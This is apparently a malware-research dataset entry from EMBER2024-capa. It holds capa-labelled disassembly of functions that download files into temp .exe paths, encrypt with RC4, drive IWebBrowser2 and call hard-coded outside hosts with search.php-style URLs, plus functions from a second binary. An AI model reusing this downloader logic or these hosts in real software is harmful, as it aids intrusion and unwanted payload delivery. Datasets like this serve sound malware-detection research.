joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005d29
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000a7fc
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10005e17
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10005db1
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push 0x1000a800
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10005dc1
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10005e15
push dword [ebp - 0x80c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3ff
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp + 8]
jmp 0x10005e86
jmp 0x10005e6e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10005e56
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push 0x1000a80c
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x10005e6e
push dword [ebp + 8]
push 0x1000a818
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x3ff
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp + 8]
leave
ret
Function at 0x10005f3d
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push esi
push edi
mov esi, str.Accept:___r_n_r_n
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0xff
and dword [ebp - 0x80], 0
push 0
push 0
push 0
push 1
push 0x1000b344
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005f82
xor eax, eax
jmp 0x10006088
push 0x4000000
push 0x4000000
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x10005fbb
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10006088
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x10005ff5
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10006088
lea eax, [ebp - 0x80]
push eax
push 0x32
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10006028
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10006088
cmp dword [ebp - 0x80], 0
jne 0x10006030
jmp 0x10006070
push 0
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10006069
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10006088
push 1
pop eax
test eax, eax
jne 0x10005ff5
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x1000608c
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x100060ab
push 1
pop eax
jmp 0x100060ad
xor eax, eax
leave
ret
Function at 0x100060af
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd40
mov dword [ebp - 0x2a0], 0x12c
and dword [ebp - 0xc30], 0
and dword [ebp - 0xc2c], 0
mov dword [ebp - 0xd40], 1
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 1
and dword [ebp - 0xd3c], 0
and dword [ebp - 0xbe0], 0
and dword [ebp - 0xc28], 0
and dword [ebp - 4], 0
and dword [ebp - 0xbdc], 0
mov dword [ebp - 0x10], 1
push dword [ebp + 0xc]
call fcn.10005777
pop ecx
and dword [ebp - 0xbd8], 0
jmp 0x10006134
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0x2710
jae 0x10006178
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 0x29c]
and eax, 0x20
mov dword [ebp - 0xd38], eax
cmp dword [ebp - 0xd38], 0
je 0x10006174
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10006176
jmp 0x10006178
jmp 0x10006127
push 1
call fcn.1000813a
pop ecx
test eax, eax
jne 0x1000618b
xor eax, eax
jmp 0x10006311
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b92
pop ecx
and byte [ebp - 0xbe4], 0
cmp dword [0x1000b208], 0
jne 0x100061ed
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.1000608c
push eax
push dword [0x1000e868]
push 0x12c
push dword [0x1000a7b0]
push dword [0x1000a7ac]
push dword [ebp + 8]
push str.http:___s_search.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
jmp 0x10006230
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.1000608c
push eax
push dword [0x1000e868]
push 0x12c
push dword [0x1000a7b0]
push dword [0x1000a7ac]
push dword [ebp + 8]
push str.http:___s_dupe.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
push dword [0x1000a7b0]
push dword [0x1000a7ac]
push str._d_d
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xbdc], eax
lea eax, [ebp - 0xbe0]
push eax
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.10008300
add esp, 0xc
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xbe0], 0xa
jbe 0x100062ec
push dword [ebp - 0xbdc]
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0xd34]
push eax
call fcn.10007f80
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
lea eax, [ebp - 0xd34]
push eax
call fcn.10008051
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
call fcn.10007859
pop ecx
pop ecx
test eax, eax
je 0x100062e3
call fcn.10008709
push 1
pop eax
jmp 0x10006311
call fcn.10008709
xor eax, eax
jmp 0x10006311
cmp dword [ebp - 0xc28], 0
je 0x1000630a
push dword [ebp - 0xc28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.10008709
xor eax, eax
leave
ret
Function at 0x10006313
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x64
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [0x1000b1ec], eax
and dword [ebp - 8], 0
jmp 0x10006334
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x14
jae 0x10006351
push 0x32
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ecx, dword [ebp - 8]
mov edx, dword [0x1000b1ec]
mov dword [edx + ecx*4], eax
jmp 0x1000632d
push str.www.supernetforme.com
mov eax, dword [0x1000b1ec]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.94.75.229.248
mov eax, dword [0x1000b1ec]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.www.superwebbysearch.com
mov eax, dword [0x1000b1ec]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1000b1ec]
and dword [eax + 0xc], 0
push 0x400
lea eax, [ebp - 0xc]
push eax
call fcn.100056ec
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x100063ac
jmp 0x10006443
push 1
pop eax
test eax, eax
je 0x10006439
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b1ec]
cmp dword [ecx + eax*4], 0
jne 0x100063d0
and dword [ebp - 4], 0
jmp 0x10006422
push dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b1ec]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
call fcn.100060af
pop ecx
pop ecx
test eax, eax
je 0x1000640a
cmp dword [0x1000b208], 0
je 0x10006408
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10006422
cmp dword [0x1000b208], 0
je 0x1000641b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
pop eax
test eax, eax
jne 0x100063bb
mov eax, dword [0x1000a7a8]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100063ac
lea eax, [ebp - 0xc]
push eax
call fcn.100056aa
pop ecx
leave
ret
Function at 0x100066c7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
and dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x10006706
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x100067d7
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000673d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x100067d7
and dword [ebp - 0x12c], 0
jmp 0x10006753
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp eax, dword [0x1000e86c]
jae 0x100067ab
lea eax, [ebp - 0x104]
push eax
call fcn.1000710e
pop ecx
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
add eax, 0x1000b348
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x100067a9
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
mov ecx, dword [0x1000e868]
or ecx, dword [eax + 0x1000b388]
mov dword [0x1000e868], ecx
jmp 0x10006746
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000673d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret
Function at 0x100075b1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000ad3c
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10007698
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10007639
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_u.exe
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10007649
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007693
mov eax, dword [ebp - 0x80c]
jmp 0x10007739
jmp 0x10007736
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100076d7
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_d.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x100076ef
push dword [ebp + 8]
push str._s.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007736
mov eax, dword [ebp - 0x80c]
jmp 0x10007739
or eax, 0xffffffff
leave
ret
Function at 0x10007f03
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0xedb88320
mov dword [ebp - 8], 0
jmp 0x10007f22
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x10007f79
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 8
jmp 0x10007f43
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jle 0x10007f6a
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x10007f60
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
jmp 0x10007f68
mov edx, dword [ebp - 4]
shr edx, 1
mov dword [ebp - 4], edx
jmp 0x10007f3a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x1000e874], ecx
jmp 0x10007f19
mov esp, ebp
pop ebp
ret

Function at 0x10008051
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax + 0x100]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
xor eax, eax
mov al, byte [edx + 0x101]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], 0
jmp 0x1000808b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0x10]
jge 0x1000811e
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
and eax, 0xff
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov cl, byte [ebp - 4]
mov byte [eax], cl
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
xor eax, eax
mov al, byte [edx]
add eax, dword [ebp - 4]
and eax, 0xff
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov cl, byte [ecx]
xor cl, byte [edx + eax]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x14]
mov byte [edx], cl
jmp 0x10008082
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x10]
mov byte [eax + 0x101], cl
mov edx, dword [ebp + 8]
mov al, byte [ebp - 0xc]
mov byte [edx + 0x100], al
mov esp, ebp
pop ebp
ret
Function at 0x1000813a
Capabilities:
Initialize iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x1000ec74
push 0x1000a788
push 5
push 0
push 0x1000a778
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10008173
cmp dword [0x1000ec74], 0
jne 0x10008178
or eax, 0xffffffff
jmp 0x100081c2
cmp dword [ebp + 8], 0
je 0x100081aa
push 0
mov eax, dword [0x1000ec74]
mov eax, dword [eax]
push dword [0x1000ec74]
call dword [eax + 0xa4]
push 0xffffffffffffffff
mov eax, dword [0x1000ec74]
mov eax, dword [eax]
push dword [0x1000ec74]
call dword [eax + 0xf0]
jmp 0x100081bf
push 0xffffffffffffffff
mov eax, dword [0x1000ec74]
mov eax, dword [eax]
push dword [0x1000ec74]
call dword [eax + 0xa4]
push 1
pop eax
leave
ret

Function at 0x100081c4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x1000ec74]
mov eax, dword [eax]
push dword [0x1000ec74]
call dword [eax + 0xe0]
test eax, eax
jl 0x10008238
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
cmp eax, 0x258
jle 0x10008225
xor eax, eax
jmp 0x1000823a
cmp dword [ebp - 4], 1
je 0x10008236
cmp dword [ebp - 4], 3
je 0x10008236
push 1
pop eax
jmp 0x1000823a
jmp 0x100081dc
xor eax, eax
leave
ret

Function at 0x1000863b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x10], 0
cmp dword [ebp + 8], 0
je 0x10008661
cmp dword [ebp + 0xc], 0
jne 0x10008669
or eax, 0xffffffff
jmp 0x10008707
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10008300
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10008688
xor eax, eax
jmp 0x10008707
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x100086af
or dword [ebp - 0xc], 0xffffffff
jmp 0x10008705
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
je 0x100086d2
or dword [ebp - 0xc], 0xffffffff
jmp 0x100086d9
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
je 0x100086f1
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x14], 0xffffffff
je 0x10008700
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x10008707
jmp 0x100086d9
leave
ret
Function at 0x401020
Capabilities:
Accept command line arguments
Identify system language via api
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401069
push str.SetDefaultDllDirectories
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401069
push 0x800
mov ecx, esi
call dword [0x424300]
call esi
test eax, eax
jne 0x4010a8
push 0x4245f4
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4010a8
push str.LdrEnumerateLoadedModules
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4010a8
push 0
push 0x401180
push 0
mov ecx, esi
call dword [0x424300]
call esi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx edi, ax
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, 1
mov ebx, eax
cmp dword [ebp - 4], esi
jle 0x40111c
nop word [eax + eax]
push str._langId:
push dword [ebx + esi*4]
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4010f7
add eax, 0x10
jmp 0x40110c
push str._language:
push dword [ebx + esi*4]
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x401116
add eax, 0x14
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
movzx edi, ax
inc esi
cmp esi, dword [ebp - 4]
jl 0x4010e0
test ebx, ebx
je 0x401127
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0xa
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
jne 0x40114c
push edi
push 0x2777
call fcn.00403e50
add esp, 8
push 0xc000001d
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00408df0
cmp eax, 0x5010300
jae 0x401171
push edi
push 0x2778
call fcn.00403e50
add esp, 8
push 0x47e
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0041175e
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402670
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x42f008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x28]
mov ebx, dword [ebp + 0x20]
mov esi, dword [ebp + 0x18]
mov dword [ebp - 0x44], eax
movzx eax, byte [ebp + 0x14]
mov dword [ebp - 0x40], eax
mov ax, word [ebp + 0xc]
mov dword [ebp - 0x2c], esi
mov esi, dword [ebp - 0x48]
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x38], ax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], ebx
mov edi, dword [ebp + 0x24]
mov dword [ebp - 8], edi
cmp esi, 0xffffffff
je 0x40272a
push 0
push 0
xorps xmm0, xmm0
movq qword [ebp - 0x4c], xmm0
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x402720
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40272a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x402784
test ebx, ebx
je 0x402734
mov dword [ebx], 0
test edi, edi
je 0x40273e
mov dword [edi], 0
xor esi, esi
lea eax, [ebp - 0x44]
push eax
call fcn.004029b0
add esp, 4
test al, al
jne 0x40275a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x40276f
mov eax, 0x51eb851f
mul dword [ebp - 0x20]
shr edx, 5
cmp edx, 2
je 0x402782
mov edi, 0x10dc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 5
jl 0x402740
jmp 0x402784
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
test edi, edi
pop edi
sete al
xor ecx, ebp
pop esi
pop ebx
call fcn.00411a3e
mov esp, ebp
pop ebp
ret